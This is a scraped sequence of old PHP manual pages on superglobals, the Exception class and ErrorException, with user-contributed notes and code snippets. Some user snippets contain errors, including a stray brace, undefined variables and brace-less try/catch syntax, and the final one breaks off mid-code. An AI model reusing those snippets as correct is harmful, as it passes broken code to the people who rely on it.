$_SESSION -- $HTTP_SESSION_VARS [deprecated] — Session variables

Description

An associative array containing session variables available to the current script. See the Session functions documentation for more information on how this is used.

$HTTP_SESSION_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_SESSION_VARS and $_SESSION are different variables and that PHP handles them as such)

Changelog

Version | Description
4.1.0 | Introduced $_SESSION that deprecated $HTTP_SESSION_VARS.

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

See Also

  • session_start() - Initialize session data

User Contributed Notes

pike-php at kw dot nl 07-Feb-2011 06:00
When accidently assigning a unset variable to $_SESSION, like

   $_SESSION['foo'] = $bar

while $bar was not defined, I got the following error message:

"Warning: Unknown(): Your script possibly relies on a session side-effect which existed until PHP 4.2.3. Please be advised that the session extension does not consider global variables as a source of data, unless register_globals is enabled. "

The errormessage was quite unrelated and got me off-track. The real error was, $bar was not defined.
Dave 17-Nov-2009 02:05
If you deploy php code and cannot control whether register_globals is off, place this snippet in your code to prevent session injections:

<?php
if (isset($_REQUEST['_SESSION'])) die("Get lost Muppet!");
?>
charlese at cvs dot com dot au 04-Jul-2009 06:47
I was having troubles with session variables working in some environments and being seriously flaky in others. I was using $_SESSION as an array. It works properly when I used $_SESSION as pointers to arrays. As an example the following code works in some environments and not others.

<?php
//Trouble if I treate $form_convert and $_SESSION['form_convert'] as unrelated items
$form_convert=array();
if (isset($_SESSION['form_convert'])){
        $form_convert=$_SESSION['form_convert'];
    }
}
?>
The following works well.
<?php
if (isset($_SESSION['form_convert'])){
    $form_convert = $_SESSION['form_convert'];
}else{
    $form_convert = array();
    $_SESSION['form_convert']=$form_convert;
}
?>
bohwaz 31-Aug-2008 02:43
Please note that if you have register_globals to On, global variables associated to $_SESSION variables are references, so this may lead to some weird situations.

<?php

session_start();

$_SESSION['test'] = 42;
$test = 43;
echo $_SESSION['test'];

?>

Load the page, OK it displays 42, reload the page... it displays 43.

The solution is to do this after each time you do a session_start() :

<?php

if (ini_get('register_globals'))
{
    foreach ($_SESSION as $key=>$value)
    {
        if (isset($GLOBALS[$key]))
            unset($GLOBALS[$key]);
    }
}

?>
Steve Clay 17-Aug-2008 06:28
Unlike a real PHP array, $_SESSION keys at the root level must be valid variable names.

<?php
$_SESSION[1][1] = 'cake'; // fails

$_SESSION['v1'][1] = 'cake'; // works
?>

I imagine this is an internal limitation having to do with the legacy function session_register(), where the registered global var must similarly have a valid name.
jherry at netcourrier dot com 01-Aug-2008 04:16
You may have trouble if you use '|' in the key:

$_SESSION["foo|bar"] = "fuzzy";

This does not work for me. I think it's because the serialisation of session object is using this char so the server reset your session when it cannot read it.

To make it work I replaced '|' by '_'.
$_REQUEST
$_ENV
Predefined Variables


Environment variables

$_SESSION
$_COOKIE
Predefined Variables
PHP Manual

$_ENV

$HTTP_ENV_VARS [deprecated]

(PHP 4 >= 4.1.0, PHP 5)

$_ENV -- $HTTP_ENV_VARS [deprecated] — Environment variables

Description

An associative array of variables passed to the current script via the environment method.

These variables are imported into PHP's global namespace from the environment under which the PHP parser is running. Many are provided by the shell under which PHP is running and different systems are likely running different kinds of shells, a definitive list is impossible. Please see your shell's documentation for a list of defined environment variables.

Other environment variables include the CGI variables, placed there regardless of whether PHP is running as a server module or CGI processor.

$HTTP_ENV_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_ENV_VARS and $_ENV are different variables and that PHP handles them as such)

Changelog

Version | Description
4.1.0 | Introduced $_ENV that deprecated $HTTP_ENV_VARS.

Examples

Example #1 $_ENV example

<?php
echo 'My username is ' .$_ENV["USER"] . '!';
?>

Assuming "bjori" executes this script

The above example will output something similar to:

My username is bjori!

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

See Also

  • getenv() - Gets the value of an environment variable
  • The filter extension

User Contributed Notes

anonymous 09-Sep-2010 10:36
If $_ENV is empty because variables_order does not include it, it will be filled with values fetched by getenv().

For example, when calling getenv("REMOTE_ADDR"), $_ENV['REMOTE_ADDR'] will be defined as well (if such an environment variable exists).
gabe-php at mudbugmedia dot com 26-May-2010 09:11
If your $_ENV array is mysteriously empty, but you still see the variables when calling getenv() or in your phpinfo(), check your http://us.php.net/manual/en/ini.core.php#ini.variables-order ini setting to ensure it includes "E" in the string.
php at isnoop dot net 01-Apr-2010 09:33
If you wish to define an environment variable in your Apache vhost file, use the directive SetEnv.

SetEnv varname "variable value"

It is important to note that this new variable will appear in $_SERVER, not $_ENV.
ewilde aht bsmdevelopment dawt com 20-Mar-2009 05:48
When running a PHP program under the command line, the $_SERVER["SERVER_NAME"] variable does not contain the hostname. However, the following works for me under Unix/Linux and Windows:

<?php
if (isset($_ENV["HOSTNAME"]))
    $MachineName = $_ENV["HOSTNAME"];
else if  (isset($_ENV["COMPUTERNAME"]))
    $MachineName = $_ENV["COMPUTERNAME"];
else $MachineName = "";
?>
$_SESSION
$_COOKIE
Predefined Variables


HTTP Cookies

$_ENV
$php_errormsg
Predefined Variables
PHP Manual

$_COOKIE

$HTTP_COOKIE_VARS [deprecated]

(PHP 4 >= 4.1.0, PHP 5)

$_COOKIE -- $HTTP_COOKIE_VARS [deprecated] — HTTP Cookies

Description

An associative array of variables passed to the current script via HTTP Cookies.

$HTTP_COOKIE_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_COOKIE_VARS and $_COOKIE are different variables and that PHP handles them as such)

Changelog

Version | Description
4.1.0 | Introduced $_COOKIE that deprecated $HTTP_COOKIE_VARS.

Examples

Example #1 $_COOKIE example

<?php
echo 'Hello ' . htmlspecialchars($_COOKIE["name"]) . '!';
?>

Assuming the "name" cookie has been set earlier

The above example will output something similar to:

Hello Hannes!

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

See Also

  • setcookie() - Send a cookie
  • Handling external variables
  • The filter extension

User Contributed Notes

Chris Watson 29-Sep-2009 05:18
The value of $_COOKIE is determined by the content of cookies received in the user agent's request.

If you set a cookie (ie send it to the browser), it won't be sent back until the next request and so the data won't be present in $_COOKIE.
Sam Yong - hellclanner at live dot com 05-Sep-2009 07:27
Take note that in IE when it's really weird that when you do something like this:

<?php

// import config/constants

session_set_cookie_params((time()+$_SITE['session_length']));
session_start();
$sess = session_name();
setcookie($sess, $_COOKIE[$sess], time() + $_SITE['session_length']);

// .. rest of the code

?>

It fails. the session cookie is not stored totally.

Instead, doing this would work:

<?php

// import config/constants

session_set_cookie_params((time()+$_SITE['session_length']));
session_start();
$sess = session_name();
setcookie($sess, session_id(), time() + $_SITE['session_length']);

// .. rest of the code

?>
$_ENV
$php_errormsg
Predefined Variables


The previous error message

$_COOKIE
$HTTP_RAW_POST_DATA
Predefined Variables
PHP Manual

$php_errormsg

(PHP 4, PHP 5)

$php_errormsg — The previous error message

Description

$php_errormsg is a variable containing the text of the last error message generated by PHP. This variable will only be available within the scope in which the error occurred, and only if the track_errors configuration option is turned on (it defaults to off).

Note: This variable is only available when track_errors is enabled in php.ini.

Warning

If a user defined error handler (set_error_handler()) is set $php_errormsg is only set if the error handler returns FALSE

Examples

Example #1 $php_errormsg example

<?php
@strpos();
echo $php_errormsg;
?>

The above example will output something similar to:

Wrong parameter count for strpos()

User Contributed Notes

josh at karmabunny dot com dot au 04-Jul-2011 12:41
The track_errors parameter is PHP_INI_ALL, so you can use code like this:

<?php
ini_set('track_errors', 1);

$result = @do_risky_thing();
if (! $result) {
    echo '<p>Error' . htmlspecialchars($php_errormsg) . '</p>';
}

ini_set('track_errors', 0);
?>
ryan kulla 19-Jan-2009 11:32
Note: This variable doesn't seem to get populated if you're running Xdebug.
$_COOKIE
$HTTP_RAW_POST_DATA
Predefined Variables


Raw POST data

$php_errormsg
$http_response_header
Predefined Variables
PHP Manual

$HTTP_RAW_POST_DATA

(PHP 4, PHP 5)

$HTTP_RAW_POST_DATA — Raw POST data

Description

$HTTP_RAW_POST_DATA contains the raw POST data. See always_populate_raw_post_data

User Contributed Notes

Ray dot Paseur at GMail dot com 12-Nov-2009 03:33
To get the Raw Post Data:

<?php $postdata = file_get_contents("php://input"); ?>

Please see the notes here:
http://us.php.net/manual/en/wrappers.php.php
$php_errormsg
$http_response_header
Predefined Variables


HTTP response headers

$HTTP_RAW_POST_DATA
$argc
Predefined Variables
PHP Manual

$http_response_header

(PHP 4 >= 4.0.4, PHP 5)

$http_response_header — HTTP response headers

Description

The $http_response_header array is similar to the get_headers() function. When using the HTTP wrapper, $http_response_header will be populated with the HTTP response headers. $http_response_header will be created in the local scope.

Examples

Example #1 $http_response_header example

<?php
function get_contents() {
  file_get_contents("http://example.com");
  var_dump($http_response_header);
}
get_contents();
var_dump($http_response_header);
?>

The above example will output something similar to:

array(9) {
  [0]=>
  string(15) "HTTP/1.1 200 OK"
  [1]=>
  string(35) "Date: Sat, 12 Apr 2008 17:30:38 GMT"
  [2]=>
  string(29) "Server: Apache/2.2.3 (CentOS)"
  [3]=>
  string(44) "Last-Modified: Tue, 15 Nov 2005 13:24:10 GMT"
  [4]=>
  string(27) "ETag: "280100-1b6-80bfd280""
  [5]=>
  string(20) "Accept-Ranges: bytes"
  [6]=>
  string(19) "Content-Length: 438"
  [7]=>
  string(17) "Connection: close"
  [8]=>
  string(38) "Content-Type: text/html; charset=UTF-8"
}
NULL

User Contributed Notes

imchillindave at hotmail dot com 07-Jun-2010 12:05
Here's a few pointers I've learned about using the $http_response_header variable:

1) The value changes with each request made.

2) When used in methods/functions, the current value must be passed to the method/function.
Using $http_response_header directly in the method/function without being assigned a value by a function/method parameter will result in the error message:  Notice: Undefined variable: http_response_header

3) The array length and value locations in the array may change depending on the server being queried and the response received.  I'm not sure if there are any 'absolute' value positions in the array.

4) $http_response_header ONLY gets populated using file_get_contents() when using a URL and NOT a local file.  This is stated in the description when it mentions the HTTP_wrapper.

Example of using $http_response_header in a class.
This example will show how the output changes between the two requests.
<?php
class foo
{
    private function header_code( $http_response_header )
    {
        // Display return header status
        echo 'Status: ' . $http_response_header[0];

        // Display easy-to-read valid PHP array code
        echo '<pre>' . var_export( $http_response_header, true ) . '</pre>';
    }

    public function test()
    {
        // Make first request
        $req1 = file_get_contents( 'http://www.google.com/' );

        // Show header data
        $this->header_code( $http_response_header );

        // Make second request - ( Will have a 301 return header status )
        $req2 = file_get_contents( 'http://google.com' );

        // Show header data
        $this->header_code( $http_response_header );
    }
}
$test = new foo;
$test->test();

/* Output:

Status: HTTP/1.0 200 OK
array (
  0 => 'HTTP/1.0 200 OK',
  1 => 'Date: Mon, 07 Jun 2010 18:47:10 GMT',
  2 => 'Expires: -1',
  3 => 'Cache-Control: private, max-age=0',
  4 => 'Content-Type: text/html; charset=ISO-8859-1',
  5 => 'Set-Cookie: PREF=ID=410f407bde472198; expires=Wed, 06-Jun-2012 18:47:10 GMT; path=/; domain=.google.com',
  6 => 'Server: gws',
  7 => 'X-XSS-Protection: 1; mode=block',
  8 => 'Alternate-Protocol: 443:npn-spdy/1',
)

Status: HTTP/1.0 301 Moved Permanently
array (
  0 => 'HTTP/1.0 301 Moved Permanently',
  1 => 'Location: http://www.google.com/',
  2 => 'Content-Type: text/html; charset=UTF-8',
  3 => 'Date: Mon, 07 Jun 2010 18:47:10 GMT',
  4 => 'Expires: Wed, 07 Jul 2010 18:47:10 GMT',
  5 => 'Cache-Control: public, max-age=2592000',
  6 => 'Server: gws',
  7 => 'Content-Length: 219',
  8 => 'X-XSS-Protection: 1; mode=block',
  9 => 'HTTP/1.0 200 OK',
  10 => 'Date: Mon, 07 Jun 2010 18:47:10 GMT',
  11 => 'Expires: -1',
  12 => 'Cache-Control: private, max-age=0',
  13 => 'Content-Type: text/html; charset=ISO-8859-1',
  14 => 'Set-Cookie: PREF=ID=86ae94efdb5499c2; expires=Wed, 06-Jun-2012 18:47:10 GMT; path=/; domain=.google.com',
  15 => 'Server: gws',
  16 => 'X-XSS-Protection: 1; mode=block',
  17 => 'Alternate-Protocol: 443:npn-spdy/1',
)
*/
?>
$HTTP_RAW_POST_DATA
$argc
Predefined Variables


The number of arguments passed to script

$http_response_header
$argv
Predefined Variables
PHP Manual

$argc

(PHP 4, PHP 5)

$argc — The number of arguments passed to script

Description

Contains the number of arguments passed to the current script when running from the command line.

Note: The script's filename is always passed as an argument to the script, therefore the minimum value of $argc is 1.

Note: This variable is not available when register_argc_argv is disabled.

Examples

Example #1 $argc example

<?php
var_dump($argc);
?>

When executing the example with: php script.php arg1 arg2 arg3

The above example will output something similar to:

int(4)

User Contributed Notes

Tejesember 04-May-2011 09:50
To find out are you in CLI or not, this is much better in my opinion:
<?php
if (PHP_SAPI != "cli") {
    exit;
}
?>
anonymous 21-Oct-2010 02:26
I use the following lines to check if i'm using CLI mode or not :

<?php
$cli_mode = false;
if ( isset($_SERVER['argc']) && $_SERVER['argc']>=1 ) {
  $cli_mode = true;
}
?>
karsten at typo3 dot org 18-Feb-2009 12:47
Note: when using CLI $argc (as well as $argv) are always available, regardless of register_argc_argv, as explained at http://docs.php.net/manual/en/features.commandline.php
$http_response_header
$argv
Predefined Variables


Array of arguments passed to script

$argc
Predefined Exceptions
Predefined Variables
PHP Manual

$argv

(PHP 4, PHP 5)

$argv — Array of arguments passed to script

Description

Contains an array of all the arguments passed to the script when running from the command line.

Note: The first argument $argv[0] is always the name that was used to run the script.

Note: This variable is not available when register_argc_argv is disabled.

Examples

Example #1 $argv example

<?php
var_dump($argv);
?>

When executing the example with: php script.php arg1 arg2 arg3

The above example will output something similar to:

array(4) {
  [0]=>
  string(10) "script.php"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}

See Also

  • getopt() - Gets options from the command line argument list

User Contributed Notes

tufan dot oezduman at googlemail dot com 22-Aug-2011 09:06
Please note that, $argv and $argc need to be declared global, while trying to access within a class method.

<?php
class A
{
    public static function b()
    {
        var_dump($argv);
        var_dump(isset($argv));
    }
}

A::b();
?>

will output NULL bool(false)  with a notice of "Undefined variable ..."

whereas global $argv fixes that.
Steve Schmitt 14-Sep-2009 04:57
If you come from a shell scripting background, you might expect to find this topic under the heading "positional parameters".
karsten at typo3 dot org 18-Feb-2009 12:48
Note: when using CLI $argv (as well as $argc) is always available, regardless of register_argc_argv, as explained at http://docs.php.net/manual/en/features.commandline.php
$argc
Predefined Exceptions
Predefined Variables


Predefined Exceptions

Table of Contents

  • Exception
  • ErrorException

See also the SPL Exceptions

User Contributed Notes

Tomas 23-Sep-2008 09:44
Many other exception included in PHP are here:
http://www.php.net/~helly/php/ext/spl/classException.html
$argv
Exception
Language Reference


Exception

(PHP 5 >= 5.1.0)

Introduction

Exception is the base class for all Exceptions.

Class synopsis

Exception {
/* Properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Methods */
public __construct ([ string $message = "" [, int $code = 0 [, Exception $previous = NULL ]]] )
final public string getMessage ( void )
final public Exception getPrevious ( void )
final public mixed getCode ( void )
final public string getFile ( void )
final public int getLine ( void )
final public array getTrace ( void )
final public string getTraceAsString ( void )
public string __toString ( void )
final private void __clone ( void )
}

Properties

message

The exception message

code

The exception code

file

The filename where the exception was created

line

The line where the exception was created

Table of Contents

  • Exception::__construct — Construct the exception
  • Exception::getMessage — Gets the Exception message
  • Exception::getPrevious — Returns previous Exception
  • Exception::getCode — Gets the Exception code
  • Exception::getFile — Gets the file in which the exception occurred
  • Exception::getLine — Gets the line in which the exception occurred
  • Exception::getTrace — Gets the stack trace
  • Exception::getTraceAsString — Gets the stack trace as a string
  • Exception::__toString — String representation of the exception
  • Exception::__clone — Clone the exception

User Contributed Notes

taras dot dot dot di at gmail dot com 22-Jul-2008 04:08
Note that the default message is an empty string, and the default code is zero
Predefined Exceptions
Exception::__construct
Predefined Exceptions


Construct the exception

Exception
Exception::getMessage
Exception
PHP Manual

Exception::__construct

(PHP 5 >= 5.1.0)

Exception::__construct — Construct the exception

Description

public Exception::__construct() ([ string $message = "" [, int $code = 0 [, Exception $previous = NULL ]]] )

Constructs the Exception.

Parameters

message

The Exception message to throw.

code

The Exception code.

previous

The previous exception used for the exception chaining.

Changelog

Version | Description
5.3.0 | The previous parameter was added.

Notes

Note:

The message is NOT binary safe.

User Contributed Notes

mario dot mueller at twt dot de 30-Jan-2009 02:21
This would be nice for handling ZendFramework Exceptions to your own framwork or CMS Exceptions:

<?php
try
{
    $oZFResponse = $oZFHttpClient->request();
}
catch(Zend_Http_Exception $exZFHttpEx)
{
    throw new Runtime_{$oZFHttpEx->getCode()}_Exception('some ErrorMailing Message', 500, $oZFHttpEx);
}

?>

Regards,
Mario
Exception
Exception::getMessage
Exception


Gets the Exception message

Exception::__construct
Exception::getPrevious
Exception
PHP Manual

Exception::getMessage

(PHP 5 >= 5.1.0)

Exception::getMessage — Gets the Exception message

Description

final public string Exception::getMessage ( void )

Returns the Exception message.

Parameters

This function has no parameters.

Return Values

Returns the Exception message as a string.

Examples

Example #1 Exception::getMessage() example

<?php
try {
    throw new Exception("Some error message");
} catch(Exception $e) {
    echo $e->getMessage();
}
?>

The above example will output something similar to:

Some error message

User Contributed Notes

support resort 10-Mar-2009 11:40
<?php
$client = new SoapClient ("http://example.com");
try {
    $response = $client->Client_Function();
} catch(SoapFault  $e) {
    echo $e->getMessage();
}
?>
Exception::__construct
Exception::getPrevious
Exception


Returns previous Exception

Exception::getMessage
Exception::getCode
Exception
PHP Manual

Exception::getPrevious

(PHP 5 >= 5.3.0)

Exception::getPrevious — Returns previous Exception

Description

final public Exception Exception::getPrevious ( void )

Returns previous Exception (the third parameter of Exception::__construct()).

Parameters

This function has no parameters.

Return Values

Returns the previous Exception if available or NULL otherwise.

Examples

Example #1 Exception::getPrevious() example

Looping over, and printing out, exception trace.

<?php
class MyCustomException extends Exception {}

function doStuff() {
    try {
        throw new InvalidArgumentException("You are doing it wrong!", 112);
    } catch(Exception $e) {
        throw new MyCustomException("Something happend", 911, $e);
    }
}

try {
    doStuff();
} catch(Exception $e) {
    do {
        printf("%s:%d %s (%d) [%s]\n", $e->getFile(), $e->getLine(), $e->getMessage(), $e->getCode(), get_class($e));
    } while($e = $e->getPrevious());
}
?>

The above example will output something similar to:

/home/bjori/ex.php:8 Something happend (911) [MyCustomException]
/home/bjori/ex.php:6 You are doing it wrong! (112) [InvalidArgumentException]

User Contributed Notes

Anonymous 03-Oct-2011 01:11
May be I am late (5.2 is not supported). But if you want use the functionality of "previous Exception" in PHP < 5.3 or write compatible code, you can use next way as below.

<?php
abstract class App_Exception_PreviousNativeAbstract extends Exception {
    public static $printPrevious = true;

    public function __toString() {
        $result   = array();
        $result[] = sprintf("Exception '%s' with message '(%s) %s' in %s:%d", get_class($this), $this->code, $this->message, $this->file, $this->line);
        $result[] = '---[Stack trace]:';
        $result[] = $this->getTraceAsString();

        if (self::$printPrevious) {
            $previous = $this->getPrevious();
            if ($previous) {
                do {
                    $result[] = '---[Previous exception]:';
                    $result[] = sprintf("Exception '%s' with message '(%s) %s' in %s:%d", get_class($previous), $previous->getCode(), $previous->getMessage(), $previous->getFile(), $previous->getLine());
                    $result[] = '---[Stack trace]:';
                    $result[] = $previous->getTraceAsString();
                } while(method_exists($previous, 'getPrevious') && ($previous = $previous->getPrevious()));
            }
        }

        return implode("\r\n", $result);
    }
}

abstract class App_Exception_PreviousLegacyAbstract extends App_Exception_PreviousNativeAbstract {
    protected $previous;

    public function __construct($message, $code = 0, Exception $previous = null) {
        $this->previous = $previous;

        parent::__construct($message, $code);
    }

    public function getPrevious() {
        return $this->previous;
    }
}

if (version_compare(PHP_VERSION, '5.3.0', '>=')) {
    abstract class App_Exception_PreviousAbstract extends App_Exception_PreviousNativeAbstract {}
}
else {
    abstract class App_Exception_PreviousAbstract extends App_Exception_PreviousLegacyAbstract {}
}

class App_Exception extends App_Exception_PreviousAbstract {
    public function __construct($message, $code = 0, Exception $previous = null) {
        parent::__construct($message, 0, $previous);
    }
}

// Example:
try {
    // ...
    throw new Exception('Exception mesage');
    // ...
} catch (Exception $e) {
    throw new App_Exception('App exception mesage', 0, $e);
}
?>
Exception::getMessage
Exception::getCode
Exception


Gets the Exception code

Exception::getPrevious
Exception::getFile
Exception
PHP Manual

Exception::getCode

(PHP 5 >= 5.1.0)

Exception::getCode — Gets the Exception code

Description

final public mixed Exception::getCode ( void )

Returns the Exception code.

Parameters

This function has no parameters.

Return Values

Returns the exception code as integer in Exception but possibly as other type in Exception descendants (for example as string in PDOException).

Examples

Example #1 Exception::getCode() example

<?php
try {
    throw new Exception("Some error message", 30);
} catch(Exception $e) {
    echo "The exception code is: " . $e->getCode();
}
?>

The above example will output something similar to:

The exception code is: 30

User Contributed Notes

There are no user contributed notes for this page.
Exception::getPrevious
Exception::getFile
Exception


Gets the file in which the exception occurred

Exception::getCode
Exception::getLine
Exception
PHP Manual

Exception::getFile

(PHP 5 >= 5.1.0)

Exception::getFile — Gets the file in which the exception occurred

Description

final public string Exception::getFile ( void )

Get the name of the file the exception was created.

Parameters

This function has no parameters.

Return Values

Returns the filename in which the exception was created.

Examples

Example #1 Exception::getFile() example

<?php
try {
    throw new Exception;
} catch(Exception $e) {
    echo $e->getFile();
}
?>

The above example will output something similar to:

/home/bjori/tmp/ex.php

User Contributed Notes

There are no user contributed notes for this page.
Exception::getCode
Exception::getLine
Exception


Gets the line in which the exception occurred

Exception::getFile
Exception::getTrace
Exception
PHP Manual

Exception::getLine

(PHP 5 >= 5.1.0)

Exception::getLine — Gets the line in which the exception occurred

Description

final public int Exception::getLine ( void )

Get line number where the exception was created.

Parameters

This function has no parameters.

Return Values

Returns the line number where the exception was created.

Examples

Example #1 Exception::getLine() example

<?php
try {
    throw new Exception("Some error message");
} catch(Exception $e) {
    echo "The exception was created on line: " . $e->getLine();
}
?>

The above example will output something similar to:

The exception was created on line: 3

User Contributed Notes

James 03-Feb-2011 02:20
Note that it appears to be the line number the Exception was created that is returned, *not* the line it was thrown from.

See this bug:
http://bugs.php.net/bug.php?id=53882

Wanted to note that here until documentation is fixed or bug report dealt with.
Exception::getFile
Exception::getTrace
Exception


Gets the stack trace

Exception::getLine
Exception::getTraceAsString
Exception
PHP Manual

Exception::getTrace

(PHP 5 >= 5.1.0)

Exception::getTrace — Gets the stack trace

Description

final public array Exception::getTrace ( void )

Returns the Exception stack trace.

Parameters

This function has no parameters.

Return Values

Returns the Exception stack trace as an array.

Examples

Example #1 Exception::getTrace() example

<?php
function test() {
 throw new Exception;
}

try {
 test();
} catch(Exception $e) {
 var_dump($e->getTrace());
}
?>

The above example will output something similar to:

array(1) {
  [0]=>
  array(4) {
    ["file"]=>
    string(22) "/home/bjori/tmp/ex.php"
    ["line"]=>
    int(7)
    ["function"]=>
    string(4) "test"
    ["args"]=>
    array(0) {
    }
  }
}

User Contributed Notes

andreas at cap-systems dot com 09-Jun-2010 12:55
When calling getTrace(), there is also the name of the class in returned array:

<?php
  class Test {

    function __construct() {

      throw new Exception('FATAL ERROR: bla bla...');

    }

  }

  try {

    $obj = new Test();

  } catch(Exception $e) {

    var_dump($e->getTrace());

  }
?>

Will show something like:

array(1) {
  [0]=>  array(6) {
               ["file"]=>  string(54) "/....../test.php"
               ["line"]=>  int(37)
               ["function"]=>  string(11) "__construct"
               ["class"]=>  string(4) "Test"
               ["type"]=>  string(2) "->"
               ["args"]=>  array(0) { }
             }
}

You can use this function to format a exception:

<?php
  function MakePrettyException(Exception $e) {
    $trace = $e->getTrace();

    $result = 'Exception: "';
    $result .= $e->getMessage();
    $result .= '" @ ';
    if($trace[0]['class'] != '') {
      $result .= $trace[0]['class'];
      $result .= '->';
    }
    $result .= $trace[0]['function'];
    $result .= '();<br />';

    return $result;
  }

  //Example:
  try {

    $obj = new Test();

  } catch(Exception $e) {

    echo MakePrettyException($e);

  }

?>

Result:

Exception: "FATAL ERROR: bla bla..." @ Test->__construct();
Exception::getLine
Exception::getTraceAsString
Exception


Gets the stack trace as a string

Exception::getTrace
Exception::__toString
Exception
PHP Manual

Exception::getTraceAsString

(PHP 5 >= 5.1.0)

Exception::getTraceAsString — Gets the stack trace as a string

Description

final public string Exception::getTraceAsString ( void )

Returns the Exception stack trace as a string.

Parameters

This function has no parameters.

Return Values

Returns the Exception stack trace as a string.

Examples

Example #1 Exception::getTraceAsString() example

<?php
function test() {
    throw new Exception;
}

try {
    test();
} catch(Exception $e) {
    echo $e->getTraceAsString();
}
?>

The above example will output something similar to:

#0 /home/bjori/tmp/ex.php(7): test()
#1 {main}

User Contributed Notes

There are no user contributed notes for this page.
Exception::getTrace
Exception::__toString
Exception


String representation of the exception

Exception::getTraceAsString
Exception::__clone
Exception
PHP Manual

Exception::__toString

(PHP 5 >= 5.1.0)

Exception::__toString — String representation of the exception

Description

public string Exception::__toString ( void )

Returns the string representation of the exception.

Parameters

This function has no parameters.

Return Values

Returns the string representation of the exception.

Examples

Example #1 Exception::__toString() example

<?php
try {
    throw new Exception("Some error message");
} catch(Exception $e) {
    echo $e;
}
?>

The above example will output something similar to:

exception 'Exception' with message 'Some error message' in /home/bjori/tmp/ex.php:3
Stack trace:
#0 {main}

User Contributed Notes

There are no user contributed notes for this page.
Exception::getTraceAsString
Exception::__clone
Exception


Clone the exception

Exception::__toString
ErrorException
Exception
PHP Manual

Exception::__clone

(PHP 5 >= 5.1.0)

Exception::__clone — Clone the exception

Description

final private void Exception::__clone ( void )

Tries to clone the Exception, which results in Fatal error.

Parameters

This function has no parameters.

Return Values

No value is returned.

Errors/Exceptions

Exceptions are not clonable.

User Contributed Notes

There are no user contributed notes for this page.
Exception::__toString
ErrorException
Exception


ErrorException

(PHP 5 >= 5.1.0)

Introduction

An Error Exception.

Class synopsis

ErrorException extends Exception {
/* Properties */
protected int $severity ;
/* Methods */
public __construct ([ string $message = "" [, int $code = 0 [, int $severity = 1 [, string $filename = __FILE__ [, int $lineno = __LINE__ [, Exception $previous = NULL ]]]]]] )
final public int getSeverity ( void )
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Properties

severity

The severity of the exception

Examples

Example #1 Use set_error_handler() to change error messages into ErrorException.

<?php
function exception_error_handler($errno, $errstr, $errfile, $errline ) {
    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
}
set_error_handler("exception_error_handler");

/* Trigger exception */
strpos();
?>

The above example will output something similar to:

Fatal error: Uncaught exception 'ErrorException' with message 'Wrong parameter count for strpos()' in /home/bjori/tmp/ex.php:8
Stack trace:
#0 [internal function]: exception_error_handler(2, 'Wrong parameter...', '/home/bjori/php...', 8, Array)
#1 /home/bjori/php/cleandocs/test.php(8): strpos()
#2 {main}
  thrown in /home/bjori/tmp/ex.php on line 8

Table of Contents

  • ErrorException::__construct — Constructs the exception
  • ErrorException::getSeverity — Gets the exception severity

User Contributed Notes

Lucas Biernot 14-Oct-2011 12:37
It's a bad practice to ignore notices. Well written program doesn't generate notices, so imho notice is simply an error and it should raise an exception and eventually terminate the script. You can catch exception wherever you want to and perform proper action.
vog at notjusthosting dot com 02-May-2011 05:14
There is a contradiction between the class synopsis and the example code.

The class synopsis states that the error code ($code) is the 2nd argument, while the example code provides the error code ($errno) as the 3rd argument.

Assuming that the class synopsis is correct, the example code should be corrected to:

<?php
function exception_error_handler($errno, $errstr, $errfile, $errline ) {
    throw new ErrorException($errstr, $errno, 0, $errfile, $errline);
}
set_error_handler("exception_error_handler");

/* Trigger exception */
strpos();
?>
triplepoint at gmail dot com 01-Jan-2010 08:16
As noted below, it's important to realize that unless caught, any Exception thrown will halt the script.  So converting EVERY notice, warning, or error to an ErrorException will halt your script when something harmlesss like E_USER_NOTICE is triggered.

It seems to me the best use of the ErrorException class is something like this:

<?php
function custom_error_handler($number, $string, $file, $line, $context)
{
    // Determine if this error is one of the enabled ones in php config (php.ini, .htaccess, etc)
    $error_is_enabled = (bool)($number & ini_get('error_reporting') );

    // -- FATAL ERROR
    // throw an Error Exception, to be handled by whatever Exception handling logic is available in this context
    if( in_array($number, array(E_USER_ERROR, E_RECOVERABLE_ERROR)) && $error_is_enabled ) {
        throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
    }

    // -- NON-FATAL ERROR/WARNING/NOTICE
    // Log the error if it's enabled, otherwise just ignore it
    else if( $error_is_enabled ) {
        error_log( $string, 0 );
        return false; // Make sure this ends up in $php_errormsg, if appropriate
    }
}
?>

Setting this function as the error handler will result in ErrorExceptions only being thrown for E_USER_ERROR and E_RECOVERABLE_ERROR, while other enabled error types will simply get error_log()'ed.

It's worth noting again that no matter what you do, "E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING, and most of E_STRICT" will never reach your custom error handler, and therefore will not be converted into ErrorExceptions.  Plan accordingly.
randallgirard at hotmail dot com 11-Dec-2009 03:32
E_USER_WARNING, E_USER_NOTICE, and any other non-terminating error codes, are useless and act like E_USER_ERROR (which terminate) when you combine a custom ERROR_HANDLER with ErrorException and do not CATCH the error. There is NO way to return execution to the parent scope in the EXCEPTION_HANDLER.

<?php

    error_reporting(E_ALL);
    define('DEBUG', true);
    define('LINEBREAK', "\r\n");

    error::initiate('./error_backtrace.log');

    try
        trigger_error("First error", E_USER_NOTICE);
    catch ( ErrorException $e )
        print("Caught the error: ".$e->getMessage."<br />\r\n" );

    trigger_error("This event WILL fire", E_USER_NOTICE);

    trigger_error("This event will NOT fire", E_USER_NOTICE);

    abstract class error {

